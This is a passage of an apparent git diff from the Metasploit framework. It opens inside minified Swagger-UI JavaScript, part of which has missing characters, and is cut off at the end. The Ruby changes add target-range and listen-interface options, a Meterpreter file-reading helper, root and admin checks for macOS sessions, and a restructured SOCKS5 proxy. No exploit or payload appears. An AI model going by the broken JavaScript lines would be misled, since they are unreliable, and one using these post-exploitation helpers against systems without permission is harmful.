e.get("basePath")}),t.host=(0,h.createSelector)(x,function(e){return e.get("host")}),t.schemes=(0,h.createSelector)(x,function(e){return e.get("schemes",(0,m.Map)())}),t.operationsWithRootInherited=(0,h.createSelector)(S,C,A,function(e,t,n){return e.map(function(e){return e.update("operation",function(e){if(e){if(!m.Map.isMap(e))return;return e.withMutations(function(e){return e.get("consumes")||e.update("consumes",function(e){return(0,m.Set)(e).merge(t)}),e.get("produces")||e.update("produces",function(e){return(0,m.Set)(e).merge(n)}),e})}return(0,m.Map)()})})})),O=t.tags=(0,h.createSelector)(x,function(e){return e.get("tags",(0,m.List)())}),M=t.tagDetails=function(e,t){return(O(e)||(0,m.List)()).filter(m.Map.isMap).find(function(e){return e.get("name")===t},(0,m.Map)())},T=t.operationsWithTags=(0,h.createSelector)(D,O,function(e,t){return e.reduce(function(e,t){var n=(0,m.Set)(t.getIn(["operation","tags"]));return n.count()<1?e.update("default",(0,m.List)(),function(e){return e.push(t)}):n.reduce(function(e,n){return e.update(n,(0,m.List)(),function(e){return e.push(t)})},e)},t.reduce(function(e,t){return e.set(t.get("name"),(0,m.List)())},(0,m.OrderedMap)()))}),P=(t.taggedOperations=function(e){return function(t){var n=t.getConfigs,r=n(),i=r.tagsSorter,o=r.operationsSorter;return T(e).sortBy(function(e,t){return t},function(e,t){var n="function"==typeof i?i:d.sorters.tagsSorter[i];return n?n(e,t):null}).map(function(t,n){var r="function"==typeof o?o:d.sorters.operationsSorter[o],i=r?t.sort(r):t;return(0,m.Map)({tagDetails:M(e,n),operations:i})})}},t.responses=(0,h.createSelector)(g,function(e){return e.get("responses",(0,m.Map)())})),I=t.requests=(0,h.createSelector)(g,function(e){return e.get("requests",(0,m.Map)())}),R=t.mutatedRequests=(0,h.createSelector)(g,function(e){return e.get("mutatedRequests",(0,m.Map)())}),j=(t.responseFor=function(e,t,n){return P(e).getIn([t,n],null)},t.requestFor=function(e,t,n){return I(e).getIn([t,n],null)},t.mutatedRequestFor=function(e,t,n){return R(e).getIn([t,n],null)},t.allowTryItOutFor=function(){return!0},t.operationWithMeta=function(e,t,n){var r=b(e).getIn(["paths",t,n],(0,m.Map)()),i=e.getIn(["meta","paths",t,n],(0,m.Map)()),o=r.get("parameters",(0,m.List)()).map(function(e){return(0,m.Map)().merge(e,i.getIn(["parameters",e.get("name")+"."+e.get("in")]))});return(0,m.Map)().merge(r,i).set("parameters",o)}),N=(t.parameterWithMeta=function(e,t,n,r){var i=b(e).getIn(["paths"].concat((0,f.default)(t),["parameters"]),(0,m.Map)()),o=e.getIn(["meta","paths"].concat((0,f.default)(t),["parameters"]),(0,m.Map)());return i.map(function(e){return(0,m.Map)().merge(e,o.get(e.get("name")+"."+e.get("in")))}).find(function(e){return e.get("in")===r&&e.get("name")===n},(0,m.Map)())},t.hasHost=(0,h.createSelector)(x,function(e){var t=e.get("host");return"string"==typeof t&&t.length>0&&"/"!==t[0]}),t.operationScheme=function(e,t,n){var r=e.get("url"),i=r.match(/^([a-z][a-z0-9+\-.]*):/),o=Array.isArray(i)?i[1]:null;return e.getIn(["scheme",t,n])||e.getIn(["scheme","_defaultScheme"])||o||""});t.canExecuteScheme=function(e,t,n){return["http","https"].indexOf(N(e,t,n))>-1},t.validateBeforeExecute=function(e,t){t=t||[];var n=e.getIn(["meta","paths"].concat((0,f.default)(t),["parameters"]),(0,m.fromJS)([])),r=!0;return n.forEach(function(e){var t=e.get("errors");t&&t.count()&&(r=!1)}),r}},function(e,t,n){var r,i;/*! + Copyright (c) 2016 Jed Watson. + Licensed under the MIT License (MIT), see + http://jedwatson.github.io/classnames +*/ +!function(){"use strict";function n(){for(var e=[],t=0;tx;x++)if((f||x in y)&&(m=y[x],v=_(m,x,g),e))if(n)w[x]=v;else if(v)switch(e){case 3:return!0;case 5:return m;case 6:return x;case 2:w.push(m)}else if(c)return!1;return p?-1:l||c?c:w}}},function(e,t,n){var r=n(99),i=n(21)("toStringTag"),o="Arguments"==r(function(){return arguments}()),a=function(e,t){try{return e[t]}catch(e){}};e.exports=function(e){var t,n,s;return void 0===e?"Undefined":null===e?"Null":"string"==typeof(n=a(t=Object(e),i))?n:o?r(t):"Object"==(s=r(t))&&"function"==typeof t.callee?"Arguments":s}},function(e,t){e.exports=function(e){if(void 0==e)throw TypeError("Can't call method on "+e);return e}},function(e,t,n){var r=n(29),i=n(25).document,o=r(i)&&r(i.createElement);e.exports=function(e){return o?i.createElement(e):{}}},function(e,t){e.exports="constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf".split(",")},function(e,t,n){var r=n(99);e.exports=Object("z").propertyIsEnumerable(0)?Object:function(e){return"String"==r(e)?e.split(""):Object(e)}},function(e,t,n){"use strict";function r(e){var t,n;this.promise=new e(function(e,r){if(void 0!==t||void 0!==n)throw TypeError("Bad Promise constructor");t=e,n=r}),this.resolve=i(t),this.reject=i(n)}var i=n(98);e.exports.f=function(e){return new r(e)}},function(e,t,n){var r=n(38),i=n(628),o=n(185),a=n(192)("IE_PROTO"),s=function(){},u=function(){var e,t=n(184)("iframe"),r=o.length;for(t.style.display="none",n(344).appendChild(t),t.src="javascript:",e=t.contentWindow.document,e.open(),e.write(" + + + + + \ No newline at end of file diff --git a/lib/msf/core/db_manager/service.rb b/lib/msf/core/db_manager/service.rb index 2abe07fee5..64c80d8382 100644 --- a/lib/msf/core/db_manager/service.rb +++ b/lib/msf/core/db_manager/service.rb @@ -48,11 +48,13 @@ module Msf::DBManager::Service # +:host+:: the host where this service is running # +:port+:: the port where this service listens # +:proto+:: the transport layer protocol (e.g. tcp, udp) + # +:workspace+:: the workspace for the service # # opts may contain # +:name+:: the application layer protocol (e.g. ssh, mssql, smb) # +:sname+:: an alias for the above - # +:workspace+:: the workspace for the service + # +:info+:: Detailed information about the service such as name and version information + # +:state+:: The current listening state of the service (one of: open, closed, filtered, unknown) # def report_service(opts) return if !active diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index 8b968fca4c..01078a75b5 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -25,8 +25,8 @@ module Msf Msf::OptPort.new(__method__.to_s, [ required, desc, default ]) end - # @return [OptAddress] - def self.LHOST(default=nil, required=true, desc="The listen address") + # @return [OptAddressLocal] + def self.LHOST(default=nil, required=true, desc="The listen address (an interface may be specified)") Msf::OptAddressLocal.new(__method__.to_s, [ required, desc, default ]) end @@ -40,8 +40,12 @@ module Msf Msf::OptString.new(__method__.to_s, [ required, desc, default ]) end - # @return [OptAddress] - def self.RHOST(default=nil, required=true, desc="The target address") + # @return [OptAddressRange] + def self.RHOSTS(default=nil, required=true, desc="The target address range or CIDR identifier") + Msf::OptAddressRange.new('RHOSTS', [ required, desc, default ]) + end + + def self.RHOST(default=nil, required=true, desc="The target address range or CIDR identifier") Msf::OptAddressRange.new('RHOSTS', [ required, desc, default ], aliases: [ 'RHOST' ]) end @@ -107,6 +111,7 @@ module Msf LPORT = LPORT() Proxies = Proxies() RHOST = RHOST() + RHOSTS = RHOSTS() RPORT = RPORT() SSLVersion = SSLVersion() end diff --git a/lib/msf/core/opt_address_local.rb b/lib/msf/core/opt_address_local.rb index f5eb40050c..1bff9f6025 100644 --- a/lib/msf/core/opt_address_local.rb +++ b/lib/msf/core/opt_address_local.rb @@ -5,36 +5,39 @@ module Msf ### # -# Network address option. +# Local network address option. # ### class OptAddressLocal < OptAddress - def normalize(value) - return nil unless value.kind_of?(String) - - if NetworkInterface.interfaces.include?(value) - ip_address = NetworkInterface.addresses(value).values.flatten.collect{|x| x['addr']}.select do |addr| - begin - IPAddr.new(addr).ipv4? - rescue IPAddr::InvalidAddressError => e - false - end - end - - return false if ip_address.blank? - return ip_address.first - end - - return value + def interfaces + NetworkInterface.interfaces || [] end - + + def normalize(value) + return unless value.kind_of?(String) + return value unless interfaces.include?(value) + + addrs = NetworkInterface.addresses(value).values.flatten + + # Strip interface name from address (see getifaddrs(3)) + addrs = addrs.map { |x| x['addr'].split('%').first }.select do |addr| + begin + IPAddr.new(addr) + rescue IPAddr::InvalidAddressError + false + end + end + + addrs.any? ? addrs.first : '' + end + def valid?(value, check_empty: true) return false if check_empty && empty_required_value?(value) - return false unless value.kind_of?(String) or value.kind_of?(NilClass) - - return true if NetworkInterface.interfaces.include?(value) + return false unless value.kind_of?(String) || value.kind_of?(NilClass) - return super + return true if interfaces.include?(value) + + super end end diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index f931379de4..8b3eb846a8 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -421,22 +421,22 @@ protected # # @return [String] def _read_file_meterpreter(file_name) - begin - fd = session.fs.file.new(file_name, "rb") - rescue ::Rex::Post::Meterpreter::RequestError => e - print_error("Failed to open file: #{file_name}: #{e}") - return nil - end + fd = session.fs.file.new(file_name, "rb") data = fd.read - begin - until fd.eof? - data << fd.read - end - ensure - fd.close + until fd.eof? + data << fd.read end + data + rescue EOFError + # Sometimes fd isn't marked EOF in time? + '' + rescue ::Rex::Post::Meterpreter::RequestError => e + print_error("Failed to open file: #{file_name}: #{e}") + return nil + ensure + fd.close if fd end # diff --git a/lib/msf/core/post/osx.rb b/lib/msf/core/post/osx.rb index e7bd3e59e2..0cd0d01afb 100644 --- a/lib/msf/core/post/osx.rb +++ b/lib/msf/core/post/osx.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- module Msf::Post::OSX + require 'msf/core/post/osx/priv' require 'msf/core/post/osx/system' require 'msf/core/post/osx/ruby_dl' end diff --git a/lib/msf/core/post/osx/priv.rb b/lib/msf/core/post/osx/priv.rb new file mode 100644 index 0000000000..eeb4fd5679 --- /dev/null +++ b/lib/msf/core/post/osx/priv.rb @@ -0,0 +1,26 @@ +# -*- coding: binary -*- +require 'msf/core/post/common' + +module Msf +class Post +module OSX +module Priv + include ::Msf::Post::Common + + # + # Returns true if running as root, false if not. + # + def is_root? + cmd_exec('/usr/bin/id -ru').eql? '0' + end + + # + # Returns true if session user is in the admin group, false if not. + # + def is_admin? + cmd_exec('groups | grep -wq admin && echo true').eql? 'true' + end +end +end +end +end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index a02dac1814..5e6523518c 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2167,6 +2167,12 @@ class Core return res end + # XXX: We repurpose OptAddressLocal#interfaces, so we can't put this in Rex + def tab_complete_source_interface(o) + return [] unless o.is_a?(Msf::OptAddressLocal) + o.interfaces + end + # # Provide possible option values based on type # @@ -2188,8 +2194,8 @@ class Core res << Rex::Socket.source_address(rh) else res += tab_complete_source_address + res += tab_complete_source_interface(o) end - else end when Msf::OptAddressRange diff --git a/lib/rex/proto/proxy/socks5.rb b/lib/rex/proto/proxy/socks5.rb index 9437c513f8..a4afbce353 100644 --- a/lib/rex/proto/proxy/socks5.rb +++ b/lib/rex/proto/proxy/socks5.rb @@ -1,645 +1,13 @@ - # -*- coding: binary -*- # -# sf - Sept 2010 -# surefire - May 2018 +# sf - Sept 2010 (original socks4a code) +# zeroSteiner - March 2018 (socks 5 update) +# surefire - May 2018 (socks 5 update) # -# TODO: Add support for required SOCKS username+password authentication -# TODO: Support multiple connection requests within a single session -# -require 'thread' -require 'rex/logging' -require 'rex/socket' - -module Rex -module Proto -module Proxy - -# -# A Socks5 proxy server. -# -class Socks5 - - # - # A client connected to the Socks5 server. - # - class Client - - # COMMON HEADER FIELDS - - RESERVED = 0 - - # ADDRESS TYPES - - ADDRESS_TYPE_IPV4 = 1 - ADDRESS_TYPE_DOMAINNAME = 3 - ADDRESS_TYPE_IPV6 = 4 - - # AUTHENTICATION TYPES - AUTH_PROTOCOL_VERSION = 0x01 - - AUTH_METHOD_TYPE_NONE = 0x00 - AUTH_METHOD_TYPE_USER_PASS = 0x02 - - AUTH_METHODS_REJECTED = 0xFF - - AUTH_SUCCESS = 0x00 - AUTH_FAILURE = 0x01 - - # REQUEST HEADER FIELDS - - REQUEST_VERSION = 5 - - REQUEST_AUTH_METHOD_COUNT = 1 - - REQUEST_COMMAND_CONNECT = 1 - REQUEST_COMMAND_BIND = 2 - REQUEST_COMMAND_UDP_ASSOCIATE = 3 # TODO: support UDP associate - - # RESPONSE HEADER FIELDS - - REPLY_VERSION = 5 - REPLY_FIELD_SUCCEEDED = 0 - REPLY_FIELD_SOCKS_SERVER_FAILURE = 1 - REPLY_FIELD_NOT_ALLOWED_BY_RULESET = 2 - REPLY_FIELD_NETWORK_UNREACHABLE = 3 - REPLY_FIELD_HOST_UNREACHABLE = 4 - REPLY_FIELD_CONNECTION_REFUSED = 5 - REPLY_FIELD_TTL_EXPIRED = 6 - REPLY_FIELD_COMMAND_NOT_SUPPORTED = 7 - REPLY_FIELD_ADDRESS_TYPE_NOT_SUPPORTED = 8 - - # RPEER INDEXES - - HOST = 1 - PORT = 2 - - class Response - - def initialize( sock ) - @version = REQUEST_VERSION - @command = nil - @reserved = RESERVED - @atyp = nil - @dest_port = 0 - @dest_ip = '0.0.0.0' - @sock = sock - end - - # convert IPv6 hex-encoded, colon-delimited string (0000:1111:...) into a 128-bit address - def ipv6_atoi(ip) - raw = "" - ip.scan(/....:/).each do |quad| - raw += quad[0,2].hex.chr - raw += quad[2,4].hex.chr - end - return raw - end - - # Pack a packet into raw bytes for transmitting on the wire. - def to_r - begin - - if @atyp == ADDRESS_TYPE_DOMAINNAME - if @dest_ip.include? '.' # stupid check for IPv4 addresses - @atyp = ADDRESS_TYPE_IPV4 - elsif @dest_ip.include? ':' # stupid check for IPv4 addresses - @atyp = ADDRESS_TYPE_IPV6 - else - raise "Malformed dest_ip while sending SOCKS5 response packet" - end - end - - if @atyp == ADDRESS_TYPE_IPV4 - raw = [ @version, @command, @reserved, @atyp, Rex::Socket.addr_atoi(@dest_ip), @dest_port ].pack( 'CCCCNn' ) - elsif @atyp == ADDRESS_TYPE_IPV6 - raw = [ @version, @command, @reserved, @atyp ].pack ( 'CCCC') - raw += ipv6_atoi(@dest_ip) - raw += [ @dest_port ].pack( 'n' ) - else - raise "Invalid address type field encountered while sending SOCKS5 response packet" - end - - return raw - - rescue TypeError - raise "Invalid field conversion while sending SOCKS5 response packet" - end - end - - def send - @sock.put(self.to_r) - end - - attr_writer :version, :command, :dest_port, :dest_ip, :hostname, :atyp - end - - class Request - - def initialize( sock ) - @version = REQUEST_VERSION - @command = nil - @atyp = nil - @dest_port = nil - @dest_ip = nil - @sock = sock - @username = nil - @password = nil - @serverAuthMethods = [ 0x00 ] - end - - def requireAuthentication( username, password ) - @username = username - @password = password - @serverAuthMethods = [ AUTH_METHOD_TYPE_USER_PASS ] - end - - # The first packet sent by the client is a session request - # +----+----------+----------+ - # |VER | NMETHODS | METHODS | - # +----+----------+----------+ - # | 1 | 1 | 1 to 255 | METHOD (\x00) = NO AUTHENTICATION REQUIRED - # +----+----------+----------+ - def parseIncomingSession() - raw = '' - - version = @sock.read( 1 ) - raise "Invalid Socks5 request packet received." if not - ( version.unpack( 'C' ).first == REQUEST_VERSION ) - - nMethods = @sock.read( 1 ).unpack( 'C' ).first - - unpackFormatStr = 'C' + nMethods.to_s # IS THIS REALLY WHAT I'M DOING?! - clientAuthMethods = @sock.read( nMethods ).unpack( unpackFormatStr ) - authMethods = ( clientAuthMethods & @serverAuthMethods ) - - if ( authMethods.empty? ) - raw = [ REQUEST_VERSION, AUTH_METHODS_REJECTED ].pack ( 'CC' ) - @sock.put( raw ) - raise "No matching authentication methods agreed upon in session request" - else - raw = [REQUEST_VERSION, authMethods[0]].pack ( 'CC' ) - @sock.put( raw ) - - parseIncomingCredentials() if authMethods[0] == AUTH_METHOD_TYPE_USER_PASS - end - end - - def parseIncomingCredentials() - # Based on RFC1929: https://tools.ietf.org/html/rfc1929 - # +----+------+----------+------+----------+ - # |VER | ULEN | UNAME | PLEN | PASSWD | - # +----+------+----------+------+----------+ - # | 1 | 1 | 1 to 255 | 1 | 1 to 255 | VERSION: 0x01 - # +----+------+----------+------+----------+ - - version = @sock.read( 1 ) - raise "Invalid SOCKS5 authentication packet received." if not - ( version.unpack( 'C' ).first == 0x01 ) - - usernameLength = @sock.read( 1 ).unpack( 'C' ).first - username = @sock.read( usernameLength ) - - passwordLength = @sock.read( 1 ).unpack( 'C' ).first - password = @sock.read( passwordLength ) - - # +----+--------+ - # |VER | STATUS | - # +----+--------+ VERSION: 0x01 - # | 1 | 1 | STATUS: 0x00=SUCCESS, otherwise FAILURE - # +----+--------+ - - if (username == @username && password == @password) - raw = [ AUTH_PROTOCOL_VERSION, AUTH_SUCCESS ].pack ( 'CC' ) - ilog("SOCKS5: Successfully authenticated") - @sock.put( raw ) - return true - else - raw = [ AUTH_PROTOCOL_VERSION, AUTH_FAILURE ].pack ( 'CC' ) - @sock.put( raw ) - raise "Invalid SOCKS5 credentials provided" - end - - end - - def parseIncomingConnectionRequest() - raw = @sock.read ( 262 ) # MAX LENGTH OF REQUEST WITH 256 BYTE HOSTNAME - - # fail if the incoming request is less than 8 bytes (malformed) - raise "Client closed connection while expecting SOCKS connection request" if( raw == nil ) - raise "Client sent malformed packet expecting SOCKS connection request" if( raw.length < 8 ) - - # Per RFC1928, the lengths of the SOCKS5 request header are: - # +----+-----+-------+------+----------+----------+ - # |VER | CMD | RSV | ATYP | DST.ADDR | DST.PORT | - # +----+-----+-------+------+----------+----------+ - # | 1 | 1 | X'00' | 1 | Variable | 2 | - # +----+-----+-------+------+----------+----------+ - - @version = raw[0..0].unpack( 'C' ).first - # fail if the incoming request is an unsupported version (not '0x05') - raise "Invalid SOCKS version received from client" if( @version != REQUEST_VERSION ) - - @command = raw[1..1].unpack( 'C' ).first - # fail if the incoming request is an unsupported command (currently only CONNECT) - raise "Invalid SOCKS proxy command received from client" if ( @command != REQUEST_COMMAND_CONNECT ) - - # "address type of following address" - @atyp = raw[3..3].unpack( 'C' ).first - - if (@atyp == ADDRESS_TYPE_IPV4) - # "the address is a version-4 IP address, with a length of 4 octets" - addressLen = 4 - addressEnd = 3 + addressLen - - hostname = nil - @dest_ip = Rex::Socket.addr_itoa( raw[4..7].unpack('N').first ) - elsif (@atyp == ADDRESS_TYPE_IPV6) - # "the address is a version-6 IP address, with a length of 16 octets" - addressLen = 16 - addressEnd = 3 + addressLen - - hostname = nil - @dest_ip = raw[4..19].unpack( 'H4H4H4H4H4H4H4H4' ).join(':') # Workaround because Rex::Socket.addr_itoa hurts too much - elsif (@atyp == ADDRESS_TYPE_DOMAINNAME) - # "the address field contains a fully-qualified domain name. The first - # octet of the address field contains the number of octets of name that - # follow, there is no terminating NUL octet." - - addressLen = raw[4..4].unpack( 'C' ).first - addressStart = 5 - addressEnd = 4+addressLen - - @hostname = raw[addressStart..addressEnd] - - @dest_ip = self.resolve( @hostname ) - ilog("SOCKS5: Resolved '#{@hostname}' to #{@dest_ip.to_s}") - - # fail if we couldnt resolve the hostname - if( not @dest_ip ) - wlog("SOCKS5: Failed to resolve '#{@hostname}'...") - end - - else - raise 'Invalid address type requested in connection request' - end - - @dest_port = raw[addressEnd+1 .. addressEnd+3].unpack('n').first - - return true - end - - def is_connect? - @command == REQUEST_COMMAND_CONNECT ? true : false - end - - def is_bind? - @command == REQUEST_COMMAND_BIND ? true : false - end - - attr_reader :version, :command, :dest_port, :dest_ip, :hostname, :atyp - - protected - - # Resolve the given hostname into a dotted IP address. - def resolve( hostname ) - if( not hostname.empty? ) - begin - return Rex::Socket.addr_itoa( Rex::Socket.gethostbyname( hostname )[3].unpack( 'N' ).first ) - rescue ::SocketError - return nil - end - end - return nil - end - end - - # A mixin for a socket to perform a relay to another socket. - module Relay - - # - # Relay data coming in from relay_sock to this socket. - # - def relay( relay_client, relay_sock ) - @relay_client = relay_client - @relay_sock = relay_sock - # start the relay thread (modified from Rex::IO::StreamAbstraction) - @relay_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyServerRelay", false) do - loop do - closed = false - buf = nil - - begin - s = Rex::ThreadSafe.select( [ @relay_sock ], nil, nil, 0.2 ) - if( s == nil || s[0] == nil ) - next - end - rescue - closed = true - end - - if( closed == false ) - begin - buf = @relay_sock.sysread( 32768 ) - closed = true if( buf == nil ) - rescue - closed = true - end - end - - if( closed == false ) - total_sent = 0 - total_length = buf.length - while( total_sent < total_length ) - begin - data = buf[total_sent, buf.length] - sent = self.write( data ) - if( sent > 0 ) - total_sent += sent - end - rescue - closed = true - break - end - end - end - - if( closed ) - @relay_client.stop - ::Thread.exit - end - end - end - - end - end - - # Create a new client connected to the server. - def initialize( server, sock, opts ) - @username = opts['USERNAME'] - @password = opts['PASSWORD'] - @server = server - @lsock = sock - @rsock = nil - @client_thread = nil - @mutex = ::Mutex.new - end - - # Start handling the client connection. - def start - # create a thread to handle this client request so as to not block the socks5 server - @client_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyClient", false) do - begin - @server.add_client( self ) - - # get the initial client request packet - request = Request.new ( @lsock ) - if not (@username.nil? or @password.nil?) - request.requireAuthentication( @username, @password ) - end - - # negotiate authentication - request.parseIncomingSession() - - # negotiate authentication - request.parseIncomingConnectionRequest() - - # handle the request - begin - # handle CONNECT requests - if( request.is_connect? ) - # perform the connection request - params = { - 'PeerHost' => request.dest_ip, - 'PeerPort' => request.dest_port, - } - params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context') - - @rsock = Rex::Socket::Tcp.create( params ) - # and send back success to the client - response = Response.new ( @lsock ) - response.version = REPLY_VERSION - response.command = REPLY_FIELD_SUCCEEDED - response.atyp = request.atyp - response.hostname = request.hostname - response.dest_port = request.dest_port - response.dest_ip = request.dest_ip - ilog("SOCKS5: request accepted to " + request.dest_ip.to_s + request.dest_port.to_s) - response.send() - # handle BIND requests - elsif( request.is_bind? ) # TODO: Test the BIND code with SOCKS5 (this is the old SOCKS4 code) - # create a server socket for this request - params = { - 'LocalHost' => '0.0.0.0', - 'LocalPort' => 0, - } - params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context') - bsock = Rex::Socket::TcpServer.create( params ) - # send back the bind success to the client - response = Response.new ( @lsock ) - response.version = REPLY_VERSION - response.command = REPLY_FIELD_SUCCEEDED - response.atyp = request.atyp - response.hostname = request.hostname - response.dest_ip = '0.0.0.0' - response.dest_port = bsock.getlocalname()[PORT] - response.send() - ilog("SOCKS5: BIND request accepted to " + request.dest_ip.to_s + request.dest_port.to_s) - # accept a client connection (2 minute timeout as per spec) - begin - ::Timeout.timeout( 120 ) do - @rsock = bsock.accept - end - rescue ::Timeout::Error - raise "Timeout reached on accept request." - end - # close the listening socket - bsock.close - # verify the connection is from the dest_ip origionally specified by the client - rpeer = @rsock.getpeername_as_array - raise "Got connection from an invalid peer." if( rpeer[HOST] != request.dest_ip ) - # send back the client connect success to the client - # sf: according to the spec we send this response back to the client, however - # I have seen some clients who bawk if they get this second response. - response = Response.new ( @lsock ) - response.version = REPLY_VERSION - response.command = REPLY_FIELD_SUCCEEDED - response.atyp = request.atyp - response.hostname = request.hostname - response.dest_ip = rpeer[HOST] - response.dest_port = rpeer[PORT] - response.send() - else - raise "Unknown request command received #{request.command} received." - end - rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::InvalidDestination, Rex::ConnectionTimeout => e - # send back failure to the client - response = Response.new ( @lsock ) - response.version = REPLY_VERSION - response.atyp = request.atyp - response.dest_port = request.dest_port - response.dest_ip = request.dest_ip - if e.class == Rex::ConnectionRefused - response.command = REPLY_FIELD_CONNECTION_REFUSED - response.send() - raise "Connection refused by destination (#{request.dest_ip}:#{request.dest_port})" - elsif e.class == Rex::ConnectionTimeout - response.command = REPLY_FIELD_HOST_UNREACHABLE - response.send() - raise "Connection attempt timed out (#{request.dest_ip}:#{request.dest_port})" - elsif e.class == Rex::HostUnreachable - response.command = REPLY_FIELD_HOST_UNREACHABLE - response.send() - raise "Host Unreachable (#{request.dest_ip}:#{request.dest_port})" - elsif e.class == Rex::NetworkUnreachable - response.command = REPLY_FIELD_NETWORK_UNREACHABLE - response.send() - raise "Network unreachable (#{request.dest_ip}:#{request.dest_port})" - end - rescue RuntimeError - raise - # TODO: This happens when we get a connection refused for an IPv6 connection. :-( - # It's unknown if that's the only error case. - rescue => e - raise - response = Response.new ( @lsock ) - response.version = REPLY_VERSION - response.atyp = request.atyp - response.dest_port = request.dest_port - response.dest_ip = request.dest_ip - response.hostname = request.hostname - response.command = REPLY_FIELD_SOCKS_SERVER_FAILURE - response.send() - # raise an exception to close this client connection - raise e - end - # setup the two way relay for full duplex io - @lsock.extend( Relay ) - @rsock.extend( Relay ) - # start the socket relays... - @lsock.relay( self, @rsock ) - @rsock.relay( self, @lsock ) - rescue - #raise # UNCOMMENT FOR DEBUGGING - wlog( "SOCKS5: #{$!}" ) - wlog( "SOCKS5: #{$!.message}" ) - self.stop - end - end - end - - # Stop handling the client connection. - def stop - @mutex.synchronize do - if( not @closed ) - - begin - @lsock.close if @lsock - rescue - end - - begin - @rsock.close if @rsock - rescue - end - - @client_thread.kill if( @client_thread and @client_thread.alive? ) - - @server.remove_client( self ) - - @closed = true - end - end - end - - end - - # Create a new Socks5 server. - def initialize( opts={} ) - @opts = { 'SRVHOST' => '0.0.0.0', 'SRVPORT' => 1080, - 'USERNAME' => nil, 'PASSWORD' => nil } - @opts = @opts.merge( opts['Context']['MsfExploit'].datastore ) - @server = nil - @clients = ::Array.new - @running = false - @server_thread = nil - end - - # - # Check if the server is running. - # - def is_running? - return @running - end - - # - # Start the Socks5 server. - # - def start - begin - # create the servers main socket (ignore the context here because we don't want a remote bind) - @server = Rex::Socket::TcpServer.create( 'LocalHost' => @opts['SRVHOST'], 'LocalPort' => @opts['SRVPORT'] ) - # signal we are now running - @running = true - # start the servers main thread to pick up new clients - @server_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyServer", false) do - while( @running ) do - begin - # accept the client connection - sock = @server.accept - # and fire off a new client instance to handle it - Client.new( self, sock, @opts ).start - rescue - wlog( "Socks5.start - server_thread - #{$!}" ) - end - end - end - rescue - wlog( "Socks5.start - #{$!}" ) - return false - end - return true - end - - # - # Block while the server is running. - # - def join - @server_thread.join if @server_thread - end - - # - # Stop the Socks5 server. - # - def stop - if( @running ) - # signal we are no longer running - @running = false - # stop any clients we have (create a new client array as client.stop will delete from @clients) - clients = [] - clients.concat( @clients ) - clients.each do | client | - client.stop - end - # close the server socket - @server.close if @server - # if the server thread did not terminate gracefully, kill it. - @server_thread.kill if( @server_thread and @server_thread.alive? ) - end - return !@running - end - - def add_client( client ) - @clients << client - end - - def remove_client( client ) - @clients.delete( client ) - end - - attr_reader :opts - -end - -end; end; end +# references: +# - SOCKS Protocol Version 5 +# https://tools.ietf.org/html/rfc1928 +# - Username/Password Authentication for SOCKS V5 +# https://tools.ietf.org/html/rfc1929 +require 'rex/proto/proxy/socks5/server' diff --git a/lib/rex/proto/proxy/socks5/packet.rb b/lib/rex/proto/proxy/socks5/packet.rb new file mode 100644 index 0000000000..2f76186baa --- /dev/null +++ b/lib/rex/proto/proxy/socks5/packet.rb @@ -0,0 +1,109 @@ +# -*- coding: binary -*- + +require 'bindata' +require 'rex/socket' + +module Rex +module Proto +module Proxy + +module Socks5 + SOCKS_VERSION = 5 + + # + # Mixin for socks5 packets to include an address field. + # + module Address + ADDRESS_TYPE_IPV4 = 1 + ADDRESS_TYPE_DOMAINNAME = 3 + ADDRESS_TYPE_IPV6 = 4 + + def address + addr = address_array.to_ary.pack('C*') + if address_type == ADDRESS_TYPE_IPV4 || address_type == ADDRESS_TYPE_IPV6 + addr = Rex::Socket.addr_ntoa(addr) + end + addr + end + + def address=(value) + if Rex::Socket.is_ipv4?(value) + address_type.assign(ADDRESS_TYPE_IPV4) + domainname_length.assign(0) + value = Rex::Socket.addr_aton(value) + elsif Rex::Socket.is_ipv6?(value) + address_type.assign(ADDRESS_TYPE_IPV6) + domainname_length.assign(0) + value = Rex::Socket.addr_aton(value) + else + address_type.assign(ADDRESS_TYPE_DOMAINNAME) + domainname_length.assign(value.length) + end + address_array.assign(value.unpack('C*')) + end + + def address_length + case address_type + when ADDRESS_TYPE_IPV4 + 4 + when ADDRESS_TYPE_DOMAINNAME + domainname_length + when ADDRESS_TYPE_IPV6 + 16 + else + 0 + end + end + end + + class AuthRequestPacket < BinData::Record + endian :big + + uint8 :version, :initial_value => SOCKS_VERSION + uint8 :supported_methods_length + array :supported_methods, :type => :uint8, :initial_length => :supported_methods_length + end + + class AuthResponsePacket < BinData::Record + endian :big + + uint8 :version, :initial_value => SOCKS_VERSION + uint8 :chosen_method + end + + class Packet < BinData::Record + include Address + endian :big + hide :reserved, :domainname_length + + uint8 :version, :initial_value => SOCKS_VERSION + uint8 :command + uint8 :reserved + uint8 :address_type + uint8 :domainname_length, :onlyif => lambda { address_type == ADDRESS_TYPE_DOMAINNAME } + array :address_array, :type => :uint8, :initial_length => lambda { address_length } + uint16 :port + end + + class RequestPacket < Packet + end + + class ResponsePacket < Packet + end + + class UdpPacket < BinData::Record + include Address + endian :big + hide :reserved, :domainname_length + + uint16 :reserved + uint8 :frag + uint8 :address_type + uint8 :domainname_length, :onlyif => lambda { address_type == ADDRESS_TYPE_DOMAINNAME } + array :address_array, :type => :uint8, :initial_length => lambda { address_length } + uint16 :port + end +end +end +end +end diff --git a/lib/rex/proto/proxy/socks5/server.rb b/lib/rex/proto/proxy/socks5/server.rb new file mode 100644 index 0000000000..ad7c141eeb --- /dev/null +++ b/lib/rex/proto/proxy/socks5/server.rb @@ -0,0 +1,105 @@ +# -*- coding: binary -*- + +require 'thread' +require 'rex/logging' +require 'rex/socket' +require 